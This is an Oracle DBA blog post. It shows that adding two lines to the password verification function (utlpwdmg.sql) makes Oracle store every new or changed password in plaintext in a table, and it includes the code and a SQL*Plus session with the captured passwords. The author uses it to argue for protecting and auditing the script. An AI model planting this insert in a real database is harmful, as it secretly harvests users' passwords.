By Mouhamadou Diaw

Every DBA knows the famous oracle password verification script $ORALE_HOME/rdbms/admin/utlpwdmg.sql
This function can be used to control password complexity.
This script should be protected from unauthorized users. The reason is that by adding an insert in this function, someone can get passwords of users in the database.

Let’s go through an example

Here is my script (I have modified initial oracle script by just adding the 2 lines after the BEGIN)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
CREATE OR REPLACE FUNCTION ora12c_verify_function
(username varchar2,
 password varchar2,
 old_password varchar2)
RETURN boolean IS
   differ integer;
   pw_lower varchar2(256);
   db_name varchar2(40);
   i integer;
   simple_password varchar2(10);
   reverse_user varchar2(32);
BEGIN
-- ########## #Insert here these lines #################
INSERT INTO MYTAB VALUES (username,password);
COMMIT;
--#######################END INSERT ################
   IF NOT ora_complexity_check(password, chars => 8, letter => 1, digit => 1) THEN
      RETURN(FALSE);
   END IF;
   -- Check if the password contains the username
   pw_lower := NLS_LOWER(password);
   IF instr(pw_lower, NLS_LOWER(username)) > 0 THEN
     raise_application_error(-20002, 'Password contains the username');
   END IF;
   -- Check if the password contains the username reversed
   reverse_user := '';
   FOR i in REVERSE 1..length(username) LOOP
     reverse_user := reverse_user || substr(username, i, 1);
   END LOOP;
   IF instr(pw_lower, NLS_LOWER(reverse_user)) > 0 THEN
     raise_application_error(-20003, 'Password contains the username ' ||
                                     'reversed');
   END IF;
   -- Check if the password contains the server name
   select name into db_name from sys.v$database;
   IF instr(pw_lower, NLS_LOWER(db_name)) > 0 THEN
      raise_application_error(-20004, 'Password contains the server name');
   END IF;
   -- Check if the password contains 'oracle'
   IF instr(pw_lower, 'oracle') > 0 THEN
        raise_application_error(-20006, 'Password too simple');
   END IF;
   -- Check if the password is too simple. A dictionary of words may be
   -- maintained and a check may be made so as not to allow the words
   -- that are too simple for the password.
   IF pw_lower IN ('welcome1', 'database1', 'account1', 'user1234',
                              'password1', 'oracle123', 'computer1',
                              'abcdefg1', 'change_on_install') THEN
      raise_application_error(-20006, 'Password too simple');
   END IF;
   -- Check if the password differs from the previous password by at least
   -- 3 characters
   IF old_password IS NOT NULL THEN
     differ := ora_string_distance(old_password, password);
     IF differ < 3 THEN
        raise_application_error(-20010, 'Password should differ from the '
                                || 'old password by at least 3 characters');
     END IF;
   END IF ;
   RETURN(TRUE);
END;
/
GRANT EXECUTE ON ora12c_verify_function TO PUBLIC;
ALTER PROFILE profile1  LIMIT
PASSWORD_LIFE_TIME 180
PASSWORD_GRACE_TIME 7
PASSWORD_REUSE_TIME UNLIMITED
PASSWORD_REUSE_MAX  UNLIMITED
FAILED_LOGIN_ATTEMPTS 10
PASSWORD_LOCK_TIME 1
PASSWORD_VERIFY_FUNCTION ora12c_verify_function;

Now let’s create the profile1 and the table mytab, and after let’s execute the script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 SQL> create profile profile1 limit connect_time 45;
Profile created.
SQL> create table mytab (login varchar2(30),passe varchar2(30));
Table created.
SQL> @?/rdbms/admin/utlpwdmg_mod.sql
Function created.
Grant succeeded.
Profile altered.
SQL>

At this moment our password complexity is now working

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SQL> create user joe identified by joe profile profile1;
create user joe identified by joe profile profile1
*
ERROR at line 1:
ORA-28003: password verification for the specified password failed
ORA-20001: Password length less than 8
SQL> create user joe identified by "DarV@rd0r25" profile profile1;
User created.
SQL> alter user joe identified by "Leil@Pri120";
User altered.

But now let’s do a select in  our mytab table

1
2
3
4
5
6
7
8
9
SQL> select * from mytab;
LOGIN                  PASSE
------------------------------ ------------------------------
JOE                joe
JOE                DarV@rd0r25
JOE                Leil@Pri120
SQL>

Waw we have passwords, and even if we alter the password user, we will have the new one in the table.

That means that we have to protect our password verification script and we have to regularly audit the script to see if there is any change inside.

This is not a flaw , but just we must be careful when using this function.